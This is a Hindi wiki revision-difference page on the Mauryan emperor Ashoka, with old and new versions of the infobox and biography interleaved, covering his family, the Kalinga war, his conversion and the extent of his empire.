Difference between revisions of "अशोक"

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|चित्र का नाम=अशोक
 
|चित्र का नाम=अशोक
|पूरा नाम=राजा<ref>यह ध्यान देने योग्य बात है कि यद्यपि अशोक सर्वोच्च शासक था पर वह अपने को सिर्फ 'राजा' शब्द से निर्दिष्ट करता है। 'महाराजा' और 'राजाधिराज' जैसी भारी-भरकम या आडम्बर-पूर्ण उपाधियाँ, जो अलग-अलग या मिलाकर प्रयुक्त की जाती हैं, अशोक के समय में प्रचलित नहीं हुई थीं। 'अशोक' | लेखक: डी.आर. भंडारकर | प्रकाशक: एस. चन्द एन्ड कम्पनी | पृष्ठ संख्या:6</ref> प्रियदर्शी देवताओं का प्रिय अशोक मौर्य  
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|पूरा नाम=राजा<ref name="राजा">यह ध्यान देने योग्य बात है कि यद्यपि अशोक सर्वोच्च शासक था पर वह अपने को सिर्फ 'राजा' शब्द से निर्दिष्ट करता है। 'महाराजा' और 'राजाधिराज' जैसी भारी-भरकम या आडम्बर-पूर्ण उपाधियाँ, जो अलग-अलग या मिलाकर प्रयुक्त की जाती हैं, अशोक के समय में प्रचलित नहीं हुई थीं। 'अशोक' | लेखक: डी.आर. भंडारकर | प्रकाशक: एस. चन्द एन्ड कम्पनी | पृष्ठ संख्या:6</ref> प्रियदर्शी देवताओं का प्रिय अशोक मौर्य  
 
|अन्य नाम='देवानाम्प्रिय' एवं 'प्रियदर्शी'<ref>'अशोक' | लेखक: डी.आर. भंडारकर | प्रकाशक: एस. चन्द एन्ड कम्पनी | पृष्ठ संख्या:5</ref>
 
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|जन्म=304 ईसा पूर्व (संभावित)
 
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|मृत्यु तिथि=232 ईसा पूर्व
 
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|मृत्यु स्थान=पाटलिपुत्र, पटना
 
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|पिता/माता=[[बिन्दुसार]], सुभद्रांगी (उत्तरी परम्परा), रानी धर्मा (दक्षिणी परम्परा)
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|पिता/माता=[[बिन्दुसार]], [[सुभद्रांगी]] (उत्तरी परम्परा), [[रानी धर्मा]] (दक्षिणी परम्परा)
|पति/पत्नी=(1) देवी (वेदिस-महादेवी शाक्यकुमारी), (2) [[कारुवाकी]] (द्वितीय देवी तीवलमाता), (3) असंधिमित्रा- अग्रमहिषी, (4) पद्मावती,  (5) तिष्यरक्षिता<ref>'अशोक' | लेखक: राधाकुमुद मुखर्जी | प्रकाशक: मोतीलाल बनारसीदास | पृष्ठ संख्या: 8-9</ref>
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|पति/पत्नी=(1) [[देवी (अशोक की  पत्नी)|देवी]] (वेदिस-महादेवी शाक्यकुमारी), (2) [[कारुवाकी]] (द्वितीय देवी तीवलमाता), (3) [[असंधिमित्रा]]- अग्रमहिषी, (4) [[पद्मावती (अशोक की पत्नी)|पद्मावती]],  (5) [[तिष्यरक्षिता]]<ref name="rkm">'अशोक' | लेखक: राधाकुमुद मुखर्जी | प्रकाशक: मोतीलाल बनारसीदास | पृष्ठ संख्या: 8-9</ref>
|संतान=देवी से- पुत्र महेन्द्र, पुत्री [[संघमित्रा]] और पुत्री चारुमती, कारुवाकी से- पुत्र तीवर, पद्मावती से- पुत्र कुणाल (धर्मविवर्धन) और भी कई पुत्रों का उल्लेख है।
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|संतान=देवी से- [[पुत्र]] [[महेंद्र (अशोक का पुत्र)|महेन्द्र]], [[पुत्री]] [[संघमित्रा]] और पुत्री चारुमती, कारुवाकी से- पुत्र तीवर, पद्मावती से- पुत्र कुणाल (धर्मविवर्धन) और भी कई पुत्रों का उल्लेख है।
|उपाधि=सम्राट
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|उपाधि=राजा<ref name="राजा"/>, 'देवानाम्प्रिय' एवं 'प्रियदर्शी'
|शासन=ईसापूर्व 274<ref name="rkm"/> -  232  
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|राज्य सीमा=सम्पूर्ण भारत
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|शासन काल=ईसापूर्व 274<ref name="rkm"/> -  232  
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|शासन अवधि=42 वर्ष लगभग
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|राज्याभिषेक=272<ref name="srimali">{{cite book | last =द्विजेन्द्र नारायण झा| first =कृष्ण मोहन श्रीमाली | title =प्राचीन भारत का इतिहास| edition =द्वितीय संस्करण| publisher =हिंदी माध्यम कार्यांवय निदेशालय| location = दिल्ली | language =हिंदी  | pages = 178 | chapter =मौर्यकाल}}</ref> और 270<ref name="rkm"/> ईसा पूर्व के मध्य
 
|धार्मिक मान्यता=[[हिन्दू धर्म]], [[बौद्ध धर्म]]
 
|धार्मिक मान्यता=[[हिन्दू धर्म]], [[बौद्ध धर्म]]
|राज्याभिषेक=272<ref name="srimali"/> और 270<ref name="rkm"/> ईसा पूर्व के मध्य
 
 
|युद्ध=सम्राट बनने के बाद एक ही युद्ध लड़ा 'कलिंग-युद्ध' (262-260 ई.पू. के बीच)
 
|युद्ध=सम्राट बनने के बाद एक ही युद्ध लड़ा 'कलिंग-युद्ध' (262-260 ई.पू. के बीच)
 
|प्रसिद्धि=अशोक महान, साम्राज्य विस्तारक, बौद्ध धर्म प्रचारक
 
|प्रसिद्धि=अशोक महान, साम्राज्य विस्तारक, बौद्ध धर्म प्रचारक
|निर्माण=
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|निर्माण=भवन, स्तूप, मठ और स्तंभ
 
|सुधार-परिवर्तन=शिलालेखों द्वारा जनता में हितकारी आदेशों का प्रचार  
 
|सुधार-परिवर्तन=शिलालेखों द्वारा जनता में हितकारी आदेशों का प्रचार  
 
|राजधानी=[[पाटलिपुत्र]] ([[पटना]])
 
|राजधानी=[[पाटलिपुत्र]] ([[पटना]])
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|अद्यतन=
 
|अद्यतन=
 
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'''अशोक''' ([[अंग्रेज़ी]]:''Ashok'') अथवा 'असोक' (काल ईसा पूर्व 269 - 232) प्राचीन [[भारत]] में [[मौर्य राजवंश]] का राजा था। अशोक का '''देवानाम्प्रिय''' एवं '''प्रियदर्शी''' आदि नामों से भी उल्लेख किया जाता है। उसके समय [[मौर्य साम्राज्य|मौर्य राज्य]] उत्तर में [[हिन्दुकुश]] की श्रेणियों से लेकर दक्षिण में [[गोदावरी नदी]] के दक्षिण तथा [[मैसूर]], [[कर्नाटक]] तक तथा पूर्व में [[अखण्डित बंगाल|बंगाल]] से पश्चिम में [[अफ़ग़ानिस्तान]] तक पहुँच गया था। '''यह उस समय तक का सबसे बड़ा भारतीय साम्राज्य था।''' सम्राट अशोक को अपने विस्तृत साम्राज्य के बेहतर कुशल प्रशासन तथा [[बौद्ध धर्म]] के प्रचार के लिए जाना जाता है। जीवन के उत्तरार्ध में अशोक [[गौतम बुद्ध]] का भक्त हो गया और उन्हीं<ref> महात्मा बुद्ध</ref> की स्मृति में उसने एक स्तम्भ खड़ा कर दिया जो आज भी [[नेपाल]] में उनके जन्मस्थल - [[लुम्बिनी]] में 'मायादेवी मन्दिर' के पास [[अशोक स्‍तम्‍भ]] के रूप में देखा जा सकता है। उसने बौद्ध धर्म का प्रचार भारत के अलावा [[श्रीलंका]], [[अफ़ग़ानिस्तान]], [[एशिया|पश्चिम एशिया]], [[मिस्र]] तथा [[यूनान]] में भी करवाया। [[अशोक के अभिलेख|अशोक के अभिलेखों]] में प्रजा के प्रति कल्याणकारी दृष्टिकोण की अभिव्यक्ति की गई है।
 
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==जीवन परिचय==
'''अशोक''' अथवा 'असोक' (काल ईसा पू. 269 - 232) प्राचीन [[भारत]] में [[मौर्य राजवंश]] का राजा था। अशोक का '''देवानाम्‌प्रिय''' एवं '''प्रियदर्शी''' आदि नामों से भी उल्लेख किया जाता है। उसके समय [[मौर्य साम्राज्य|मौर्य राज्य]] उत्तर में [[हिन्दुकुश]] की श्रेणियों से लेकर दक्षिण में [[गोदावरी नदी]] के दक्षिण तथा [[मैसूर]], [[कर्नाटक]] तक तथा पूर्व में [[अखण्डित बंगाल|बंगाल]] से पश्चिम में [[अफ़ग़ानिस्तान]] तक पहुँच गया था। '''यह उस समय तक का सबसे बड़ा भारतीय साम्राज्य था।''' सम्राट अशोक को अपने विस्तृत साम्राज्य के बेहतर कुशल प्रशासन तथा [[बौद्ध धर्म]] के प्रचार के लिए जाना जाता है। जीवन के उत्तरार्ध में अशोक [[गौतम बुद्ध]] का भक्त हो गया और उन्हीं<ref> महात्मा बुद्ध</ref> की स्मृति में उसने एक स्तम्भ खड़ा कर दिया जो आज भी [[नेपाल]] में उनके जन्मस्थल - [[लुम्बिनी]] में 'मायादेवी मन्दिर' के पास [[अशोक स्‍तम्‍भ]] के रूप में देखा जा सकता है। उसने बौद्ध धर्म का प्रचार भारत के अलावा [[श्रीलंका]], [[अफ़ग़ानिस्तान]], [[एशिया|पश्चिम एशिया]], [[मिस्र]] तथा [[यूनान]] में भी करवाया। [[अशोक के अभिलेख|अशोक के अभिलेखों]] में प्रजा के प्रति कल्याणकारी दृष्टिकोण की अभिव्यक्ति की गई है।
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{{Main|अशोक का जीवन परिचय}}
==बिंदुसार का पुत्र "अशोक महान"==
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====जन्म====
अशोक प्राचीन [[भारत]] के मौर्य सम्राट [[बिंदुसार]] का पुत्र था। जिसका जन्म लगभग 304 ई. पूर्व में माना जाता है। भाइयों के साथ गृह-युद्ध के बाद 272 ई. पूर्व अशोक को राजगद्दी मिली और 232 ई. पूर्व तक उसने शासन किया।
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अशोक प्राचीन [[भारत]] के मौर्य सम्राट [[बिंदुसार]] का पुत्र था। जिसका जन्म लगभग 304 ई. पूर्व में माना जाता है। [[लंका]] की परम्परा में <ref>जिसका आख्यान 'दीपवंश' और 'महावंश' में हुआ है</ref> बिंदुसार की सोलह पटरानियों और 101 [[पुत्र|पुत्रों]] का उल्लेख है। पुत्रों में केवल तीन के नामोल्लेख हैं, वे हैं - [[सुसीम]] <ref>उत्तरी परम्पराओं का [[सुसीम]]</ref> जो सबसे बड़ा था, अशोक और तिष्य। तिष्य अशोक का सहोदर भाई और सबसे छोटा था।<ref>{{cite book | last =मुखर्जी| first =राधाकुमुद| title =अशोक| edition = | publisher =मोतीलाल बनारसीदास| location =नई दिल्ली| language =हिंदी| pages =2 | chapter =}}</ref>भाइयों के साथ गृह-युद्ध के बाद 272 ई. पूर्व अशोक को राजगद्दी मिली और 232 ई. पूर्व तक उसने शासन किया।  
 
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{{seealso|अशोक का परिवार|बिंदुसार|चंद्रगुप्त मौर्य}}
आरंभ में अशोक भी अपने पितामह [[चंद्रगुप्त मौर्य]] और पिता [[बिंदुसार]] की भाँति युद्ध के द्वारा साम्राज्य विस्तार करता गया। [[कश्मीर]], [[कलिंग]] तथा कुछ अन्य प्रदेशों को जीतकर उसने संपूर्ण भारत में अपना साम्राज्य स्थापित कर लिया, जिसकी सीमाएं पश्चिम में [[ईरान]] तक फैली हुई थीं। परंतु [[कलिंग]] युद्ध में जो जनहानि हुई उसका अशोक के हृदय पर बड़ा प्रभाव पड़ा और वह हिंसक युद्धों की नीति छोड़कर धर्म विजय की ओर अग्रसर हुआ। अशोक की प्रसिद्धि इतिहास में उसके साम्राज्य विस्तार के कारण ही नहीं है वरन धार्मिक भावना और मानवतावाद के प्रचारक के रूप में भी है।
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====देवानाम्प्रिय प्रियदर्शी के अर्थ====
 
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'देवानाम्प्रिय प्रियदर्शी' इस वाक्यांश में बी.ए. स्मिथ के मतानुसार 'देवानाम्प्रिय' आदरसूचक पद है और इसी अर्थ में हमने भी इसको लिया है किंतु देवानाम्प्रिय शब्द (देव-प्रिय नहीं) [[पाणिनी]] के एक सूत्र<ref>[[पाणिनी]]  6,3,21</ref> के अनुसार अनादर का सूचक है। [[कात्यायन]]<ref>ई.पू. 350 सर आर. जी. भंडाकर</ref> इसे अपवाद में रखा है। [[पतंजलि]]<ref> ई. पू. 150</ref> और यहाँ तक कि काशिका (650 ई.) भी इसे अपवाद ही मानते हैं। पर इन सबके उत्तरकालीन वैयाकरण [[भट्टोजिदीक्षित]] इसे अपवाद में नहीं रखते। वे इसका अनादरवाची अर्थ 'मूर्ख' ही करते हैं। उनके मत से 'देवानाम्प्रिय ब्रह्मज्ञान से रहित उस पुरुष को कहते हैं जो [[यज्ञ]] और पूजा से भगवान को प्रसन्न करने का यत्न करता है। जैसे- [[गाय]] दूध देकर मालिक को।<ref>तत्त्वबोधिनी और बालमनोरमा</ref> इस प्रकार एक उपाधि जो [[नंद वंश|नंदों]], [[मौर्य राजवंश|मौर्यों]] और [[शुंग वंश|शुंगों]] के युग में आदरवाची थी। उस महान् राजा के प्रति ब्राह्मणों के दुराग्रह के कारण अनादर सूचक बन गई।
'''बिन्दुसार की मृत्यु के बाद अशोक सम्राट बना।''' अशोक के सम्बन्ध में जानकारी प्राप्त करने में प्रमुख साधन अशोक के [[अशोक के शिलालेख|शिलालेख]] तथा [[अशोक स्तंभ|स्तंभों]] पर उत्कीर्ण अभिलेख हैं। किन्तु ये अभिलेख अशोक के प्रारम्भिक जीवन पर कोई प्रकाश नहीं डालते। इनके लिए हमें [[संस्कृत]] तथा [[पालि भाषा|पालि]] में लिखे हुए [[बौद्ध]] ग्रंथों पर निर्भर रहना पड़ता है। '''परम्परानुसार अशोक ने अपने भाइयों का हनन करके सिंहासन प्राप्त किया था।'''
 
==समकालीन राजा==
 
अशोक सीरिया के राजा '[[एण्टियोकस द्वितीय|एण्टियोकस द्वितीय]]'<ref>261 - 246 ईसा पू.</ref> और कुछ अन्य [[यवन]]<ref> [[यूनानी]]</ref> राजाओं का समसामयिक था, जिनका उल्लेख 'शिलालेख संख्या 8' में है। इससे विदित होता है कि अशोक ने ईसा पूर्व  तीसरी शताब्दी के उत्तरार्ध में राज्य किया, किंतु उसके राज्याभिषेक की सही तारीख़ का पता नहीं चलता है। अशोक ने 40 वर्ष राज्य किया। इसलिए राज्याभिषेक के समय वह युवक ही रहा होगा। अशोक के राज्यकाल के प्रारम्भिक 12 वर्षों का कोई सुनिश्चित विवरण उपलब्ध नहीं है। <ref>{{cite book | last =भट्टाचार्य| first =सचिदानंद| title =भारतीय इतिहास कोश  | edition = | publisher =उत्तरप्रदेश हिंदी संस्थान | location =लखनऊ| language =हिंदी| pages =26| chapter =}}</ref>
 
 
 
==तक्षशिला और कलिंग पर विजय==
 
अपने राज्याभिषेक के नवें [[वर्ष]] तक अशोक ने [[मौर्य साम्राज्य]] की परम्परागत नीति का ही अनुसरण किया। अशोक ने देश के अन्दर साम्राज्य का विस्तार किया किन्तु दूसरे देशों के साथ मैत्रीपूर्ण व्यवहार की नीति अपनाई।<ref name="srimali">{{cite book | last =द्विजेन्द्र नारायण झा| first =कृष्ण मोहन श्रीमाली | title =प्राचीन भारत का इतिहास| edition =द्वितीय संस्करण| publisher =हिंदी माध्यम कार्यांवय निदेशालय| location = दिल्ली | language =हिंदी  | pages = 178 | chapter =मौर्यकाल}}</ref>
 
 
[[भारत]] के अन्दर अशोक एक विजेता रहा। उसने [[खस]], [[नेपाल]] को विजित किया और [[तक्षशिला]] के विद्रोह का शान्त किया। अपने राज्याभिषेक के नवें [[वर्ष]] में अशोक ने [[कलिंग]] पर विजय प्राप्त की। ऐसा प्रतीत होता है कि [[नंद वंश]] के पतन के बाद कलिंग स्वतंत्र हो गया था। [[प्लिनी]] की पुस्तक में उद्धृत [[मेगस्थनीज़]] के विवरण के अनुसार [[चंद्रगुप्त मौर्य|चंद्रगुप्त]] के समय में कलिंग एक स्वतंत्र राज्य था। [[अशोक के शिलालेख]] के अनुसार युद्ध में मारे गए तथा क़ैद किए हुए सिपाहियों की संख्या ढाई लाख थी और इससे भी कई गुना सिपाही युद्ध में घायल हुए थे। [[मगध]] की सीमाओं से जुड़े हुए ऐसे शक्तिशाली राज्य की स्थिति के प्रति [[मगध]] शासक उदासीन नहीं रह सकता था। [[खारवेल]] के समय मगध को कलिंग की शक्ति का कटु अनुभव था। सुरक्षा की दृष्टि से कलिंग का जीतना आवश्यक था। कुछ इतिहासकारों के अनुसार कलिंग को जीतने का दूसरा कारण भी था। दक्षिण के साथ सीधे सम्पर्क के लिए समुद्री और स्थल मार्ग पर [[मौर्य वंश|मौर्यों]] का नियंत्रण आवश्यक था। कलिंग यदि स्वतंत्र देश रहता तो समुद्री और स्थल मार्ग से होने वाले व्यापार में रुकावट पड़ सकती थी। अतः कलिंग को मगध साम्राज्य में मिलाना आवश्यक था। किन्तु यह कोई प्रबल कारण प्रतीत नहीं होता क्योंकि इस दृष्टि से तो चंद्रगुप्त के समय से ही कलिंग को [[मगध साम्राज्य]] में मिला लेना चाहिए था। [[कौटिल्य]] के विवरण से स्पष्ट है कि वह दक्षिण के साथ व्यापार को महत्त्व देता था। विजित कलिंग राज्य मगध साम्राज्य का एक अंग हो गया। राजवंश का कोई राजकुमार वहाँ वाइसराय<ref> उपराजा</ref> नियुक्त कर दिया गया। [[तोसली]] इस प्रान्त की राजधानी बनाई गई।<ref name="srimali"/>
 
==कलिंग युद्ध==
 
कलिंग युद्ध में हुए नरसंहार तथा विजित देश की जनता के कष्ट से अशोक की अंतरात्मा को तीव्र आघात पहुँचा।<ref name="srimali"/> 260  ई. पू. में अशोक ने कलिंगवसियों पर आक्रमण किया, उन्हें पूरी तरह कुचलकर रख दिया। मौर्य सम्राट के शब्दों में, 'इस लड़ाई के कारण 1,50,000 आदमी विस्थापित  हो गए, 1,00,000 व्यक्ति मारे गए और इससे कई गुना नष्ट हो गए....'। युद्ध की विनाशलीला ने सम्राट को शोकाकुल बना दिया और वह प्रायश्चित्त करने के प्रयत्न में [[बौद्ध]] विचारधारा की ओर आकर्षित हुआ।<ref>'भारत का इतिहास' | लेखिका: रोमिला थापर | प्रकाशक: राजकमल प्रकाशन | पृष्ठ संख्या: 63</ref>  
 
==अशोक का हृदय परिवर्तन==
 
युद्ध की भीषणता का अशोक पर गहरा प्रभाव पड़ा। अशोक ने युद्ध की नीति को सदा के लिए त्याग दिया और 'दिग्विजय' के स्थान पर '[[धम्म]] विजय' की नीति को अपनाया। [[डा. हेमचंद्र रायचौधरी]] के अनुसार [[मगध]] का सम्राट बनने के बाद यह अशोक का प्रथम तथा अन्तिम युद्ध था। इसके बाद मगध की विजयों तथा राज्य-विस्तार का यह युग समाप्त हुआ जिसका सूत्रपात [[बिंबिसार]] की [[अंग महाजनपद|अंग]] विजय के बाद हुआ था। अब एक नए युग आरम्भ हुआ। यह युग शान्ति, सामाजिक प्रगति तथा धर्मप्रचार का था, किन्तु इसके साथ-साथ राजनीतिक गतिरोध और सामरिक कुशलता भी दिखाई देने लगी। सैनिक अभ्यास के अभाव में [[मगध]] का सामरिक आवेश और उत्साह क्षीण होने लगा।<ref name="srimali"/>
 
[[चित्र:Ashok-map.jpg|thumb|250px|left|अशोक के साम्राज्य की सीमा का मानचित्र]]
 
कलिंग की प्रजा तथा कलिंग की सीमा पर रहने वाले लोगों के प्रति कैसा व्यवहार किया जाए, इस सम्बन्ध में अशोक ने दो आदेश जारी किए। ये दो आदेश [[धौली]] और [[जौगड़]] नामक स्थानों पर सुरक्षित हैं। ये आदेश [[तोसली]] और [[समापा]] के महामात्यों तथा उच्च अधिकारियों को सम्बोधित करते हुए लिखे गए हैं - "सम्राट का आदेश है कि प्रजा के साथ पुत्रवत् व्यवहार हो, जनता को प्यार किया जाए, अकारण लोगों को कारावास का दंड तथा यातना न दी जाए। जनता के साथ न्याय किया जाना चाहिए। सीमांत जातियों को आश्वासन दिया गया कि उन्हें सम्राट से कोई भय नहीं करना चाहिए। उन्हें राजा के साथ व्यवहार करने से सुख ही मिलेगा, कष्ट नहीं। राजा यथाशक्ति उन्हें क्षमा करेगा, वे [[धम्म]] का पालन करें। यहाँ पर उन्हें सुख मिलेगा और मृत्यु के बाद स्वर्ग।"
 
 
 
==साम्राज्य की सीमा==
 
[[अशोक के शिलालेख|अशोक के शिलालेखों]] तथा स्तंभलेखों से अशोक के साम्राज्य की सीमा की ठीक जानकारी प्राप्त होती है। शिलालेखों तथा स्तंभलेखों के विवरण से ही नहीं, वरन् जहाँ से अभिलेख पाए गए हैं, उन स्थानों की स्थिति से भी सीमा निर्धारण करने में सहायता मिलती है। इन अभिलेखों में जनता के लिए राजा की घोषणाएँ थीं। अतः वे अशोक के विभिन्न प्रान्तों में आबादी के मुख्य केन्द्रों में उत्कीर्ण कराए गए। कुछ अभिलेख सीमांत स्थानों पर पाए जाते हैं। उत्तर—पश्चिम में [[शाहबाजगढ़ी]] और [[मानसेहरा]] में अशोक के शिलालेख पाए गए। इसके अतिरिक्त [[तक्षशिला]] में और [[क़ाबुल]] प्रदेश में 'लमगान' में अशोक के लेख [[अरामाइक लिपि]] में मिलते हैं। एक शिलालेख में [[एण्टियोकस द्वितीय|एण्टियोकस द्वितीय थियोस]] को पड़ोसी राजा कहा गया है। इससे स्पष्ट है कि उत्तर-पश्चिम में अशोक के साम्राज्य की सीमा [[हिन्दुकुश]] तक थी। [[कालसी]], [[रुम्मिनदेई]] तथा [[निगाली सागर शिलालेख]] तथा स्तंभलेखों से सिद्ध होता है कि [[देहरादून]] और [[नेपाल]] की तराई का क्षेत्र अशोक के राज्य में था। [[सारनाथ]] तथा नेपाल की वंशावलियों के प्रमाण तथा स्मारकों से यह सिद्ध होता है कि नेपाल अशोक के साम्राज्य का एक अंग था। जब अशोक युवराज था, उसने [[खस]] और [[नेपाल]] प्रदेश को जीता था।
 
 
 
==शिलालेख और स्तूप==
 
{{Main|ब्राह्मी लिपि अशोक-काल}}
 
[[चित्र:Brahmi Lipi-1.jpg|250px|thumb|[[ब्राह्मी लिपि अशोक-काल|ब्राह्मी लिपि]]]]
 
पूर्व में [[अखण्डित बंगाल|बंगाल]] तक मौर्य साम्राज्य के विस्तृत होने की पुष्टि [[महास्थान]] शिलालेख से होती है। यह अभिलेख [[ब्राह्मी लिपि]] में है और [[मौर्य काल]] का माना जाता है। [[महावंश]] के अनुसार अशोक अपने पुत्र को विदा करने के लिए [[ताम्रलिप्ति]] तक आया था। [[ह्वेन त्सांग]] को भी ताम्रलिप्ति, [[कर्णसुवर्ण]], [[समतट]], [[अखण्डित बंगाल|पूर्वी बंगाल]] तथा [[पुण्ड्रवर्धन]] में अशोक के [[स्तूप]] देखने को मिले थे। [[दिव्यावदान]] में कहा गया है कि अशोक के समय तक बंगाल मगध साम्राज्य का ही एक अंग था। [[आसाम]] कदाचित् मौर्य साम्राज्य से बाहर था।{{बाँयाबक्सा|पाठ= 'इस लड़ाई के कारण 1,50,000 आदमी विस्थापित  हो गए, 1,00,000 व्यक्ति मारे गए और इससे कई गुना नष्ट हो गए....'।|विचारक=मौर्य सम्राट के शब्दों में}}
 
वहाँ पर अशोक के कोई स्मारक चीनी यात्री को देखने को नहीं मिले। [[उड़ीसा]] और [[गंज़ाम]] से लेकर पश्चिम में [[सौराष्ट्र]] तथा [[महाराष्ट्र]] तक अशोक का शासन था। [[धौली]] और [[जौगड़]] में [[अशोक के शिलालेख]] मिले हैं, साथ ही सौराष्ट्र में [[जूनागढ़]] और [[अपरान्त]] में [[मुंबई]] के पास [[सोपारा]] नामक स्थान के पास भी शिलालेख मिले हैं। दक्षिण में [[येर्रागुडी]], [[कुर्नूल|कुर्नूल ज़िले]] में अशोक के शिलालेख मिले हैं। इसके अतिरिक्त उत्तरी [[कर्नाटक]] के [[चित्तलदुर्ग]] इलाक़े के तीन स्थानों - [[सिद्धपुर]], [[मस्की]] तथा [[जतिंग रामेश्वर]] में अशोक के लघु शिलालेख मिले हैं। अशोक के शिलालेखों में [[चोल]], [[पांड्य]] और [[केरल]] राज्यों को स्वंतत्र सीमावर्ती राज्य कहा गया है। जिससे स्पष्ट है कि सुदूर दक्षिण भारत अशोक के साम्राज्य से बाहर था। इस प्रकार हम देखते हैं कि आसाम और सुदूर दक्षिण को छोड़कर सम्पूर्ण [[भारतवर्ष]] अशोक के साम्राज्य के अंतर्गत था।
 
 
 
==राज्यों से संबंध==
 
यद्यपि अशोक का साम्राज्य विस्तृत था तथापि साम्राज्य के अंतर्गत सभी देशों पर उसका सीधा शासन था। अशोक के पाँचवे और तेरहवें शिलालेख में कुछ जनपदों तथा जातियों का उल्लेख किया गया है। जैसे [[यवन]], [[कांबोज जाति|काम्बोज]], [[नाभक]], [[नाभापंक्ति]], [[भोज जाति|भोज]], [[पितनिक]], [[आंध्र जाति|आन्ध्र]], [[पुलिंद]]। रेप्सन का विचार है कि ये देश तथा जातियाँ अशोक द्वारा जीते गए राज्य के अंतर्गत न होकर प्रभावक्षेत्र में थे।<ref>{{cite web |url=http://books.google.com/books?id=AKn3p64hGycC&pg=PA105&lpg=PA105&dq=rapson+historian&source=bl&ots=U3fefPKFv2&sig=uyaofaWzyGZvrQfMdPVvge27qUY&hl=en&ei=n-F9TpyOBMemrAeE0933Dw&sa=X&oi=book_result&ct=result&resnum=2&ved=0CCMQ6AEwAQ#v=onepage&q&f=false |title=Ancient India: From the Earliest Times to the First Century AD |accessmonthday= |accessyear= |last=रेप्सन |first=ई.जे. |authorlink= |format= |publisher= |language=अंग्रेज़ी }}</ref> किन्तु यह सही प्रतीत नहीं होता है। क्योंकि इन प्रदेशों में अशोक के धर्म महामात्रों के नियुक्त किए जाने का उल्लेख है। डा. रायचौधरी के अनुसार इन लोगों के साथ विजितों तथा अंतरविजितों<ref>अर्थात् स्वतंत्र सीमावर्ती राज्यों</ref> के बीच का व्यवहार किया जाता था। [[गांधार]], [[यवन]], काम्बोज, उत्तर-पश्चिमी सीमांत प्रदेश में थे। भोज, [[राष्ट्रिक]], [[पितनिक]] सम्भवतः अपरान्त पश्चिमी सीमा में थे। 13वें शिलालेख में अशोक ने [[अटवी|अटवी जातियों]] का उल्लेख किया है, जो अपराध करते थे। उन्हें यथासम्भव क्षमा करने का आश्वासन दिया गया है। किन्तु साथ ही यह चेतावनी भी दी है कि अनुताप अर्थात् पश्चाताप में भी 'देवानांप्रिय' का प्रभाव है। यदि ये जातियाँ कठिनाइयाँ उत्पन्न करें तो राजा को उन्हें सज़ा देने तथा मारने की शक्ति भी है। सम्भवतः यह 'अटवी प्रदेश' [[बुंदेलखण्ड]] से लेकर [[उड़ीसा]] तक फैला हुआ था। ये अटवी जातियाँ यद्यपि पराजित हुईं थीं, तथापि उनकी आंतरिक स्वतंत्रता को मान्यता दे दी गई थी।
 
 
 
[[चित्र:Asoka's-Pillar.jpg|thumb|left|200px|अशोक का स्तम्भ, [[वैशाली]]]]
 
 
 
 
==धर्म परिवर्तन==
 
==धर्म परिवर्तन==
 
{{दाँयाबक्सा|पाठ=सम्राट का आदेश है कि प्रजा के साथ पुत्रवत् व्यवहार हो, जनता को प्यार किया जाए, अकारण लोगों को कारावास का दंड तथा यातना न दी जाए। जनता के साथ न्याय किया जाना चाहिए। सीमांत जातियों को आश्वासन दिया गया कि उन्हें सम्राट से कोई भय नहीं करना चाहिए। उन्हें राजा के साथ व्यवहार करने से सुख ही मिलेगा, कष्ट नहीं। राजा यथाशक्ति उन्हें क्षमा करेगा, वे [[धम्म]] का पालन करें। यहाँ पर उन्हें सुख मिलेगा और मृत्यु के बाद स्वर्ग।|विचारक=अशोक}}
 
{{दाँयाबक्सा|पाठ=सम्राट का आदेश है कि प्रजा के साथ पुत्रवत् व्यवहार हो, जनता को प्यार किया जाए, अकारण लोगों को कारावास का दंड तथा यातना न दी जाए। जनता के साथ न्याय किया जाना चाहिए। सीमांत जातियों को आश्वासन दिया गया कि उन्हें सम्राट से कोई भय नहीं करना चाहिए। उन्हें राजा के साथ व्यवहार करने से सुख ही मिलेगा, कष्ट नहीं। राजा यथाशक्ति उन्हें क्षमा करेगा, वे [[धम्म]] का पालन करें। यहाँ पर उन्हें सुख मिलेगा और मृत्यु के बाद स्वर्ग।|विचारक=अशोक}}
इसमें कोई संदेह नहीं कि अपने पूर्वजों की तरह अशोक भी [[ब्राह्मण]] धर्म का अनुयायी था। [[महावंश]] के अनुसार वह प्रतिदिन 60,000 ब्राह्मणों को भोजन दिया करता था और अनेक देवी - [[देवता|देवताओं]] की पूजा किया करता था। [[कल्हण]] की [[राजतरंगिणी]] के अनुसार अशोक के इष्ट देव [[शिव]] थे। पशुबलि में उसे कोई हिचक नहीं थी। किन्तु अपने पूर्वजों की तरह वह जिज्ञासु भी था। मौर्य राज्य सभा में सभी धर्मों के विद्वान भाग लेते थे। जैसे - [[ब्राह्मण]], दार्शनिक, निग्रंथ, [[आजीवक]], [[बौद्ध]] तथा यूनानी दार्शनिक। [[दीपवंश]] के अनुसार अशोक अपनी धार्मिक जिज्ञासा शान्त करने के लिए विभिन्न सिद्धांतों के व्याख्याताओं को राज्यसभा में बुलाता था। उन्हें उपहार देकर सम्मानित करता था और साथ ही स्वयं भी विचारार्थ अनेक सवाल प्रस्तावित करता था। वह यह जानना चाहता था कि धर्म के किन ग्रंथों में सत्य है। उसे अपने सवालों के जो उत्तर मिले उनसे वह संतुष्ट नहीं था।  
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इसमें कोई संदेह नहीं कि अपने पूर्वजों की तरह अशोक भी [[ब्राह्मण]] धर्म का अनुयायी था। [[महावंश]] के अनुसार वह प्रतिदिन 60,000 ब्राह्मणों को भोजन दिया करता था और अनेक देवी - [[देवता|देवताओं]] की पूजा किया करता था। [[कल्हण]] की [[राजतरंगिणी]] के अनुसार अशोक के इष्ट देव [[शिव]] थे। पशुबलि में उसे कोई हिचक नहीं थी। किन्तु अपने पूर्वजों की तरह वह जिज्ञासु भी था। मौर्य राज्य सभा में सभी धर्मों के विद्वान् भाग लेते थे। जैसे - [[ब्राह्मण]], दार्शनिक, निग्रंथ, [[आजीवक]], [[बौद्ध]] तथा यूनानी दार्शनिक। [[दीपवंश]] के अनुसार अशोक अपनी धार्मिक जिज्ञासा शान्त करने के लिए विभिन्न सिद्धांतों के व्याख्याताओं को राज्यसभा में बुलाता था। उन्हें उपहार देकर सम्मानित करता था और साथ ही स्वयं भी विचारार्थ अनेक सवाल प्रस्तावित करता था। वह यह जानना चाहता था कि धर्म के किन ग्रंथों में सत्य है। उसे अपने सवालों के जो उत्तर मिले उनसे वह संतुष्ट नहीं था।
;बौद्ध धर्म में दीक्षा
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====बौद्ध धर्म का अनुयायी====
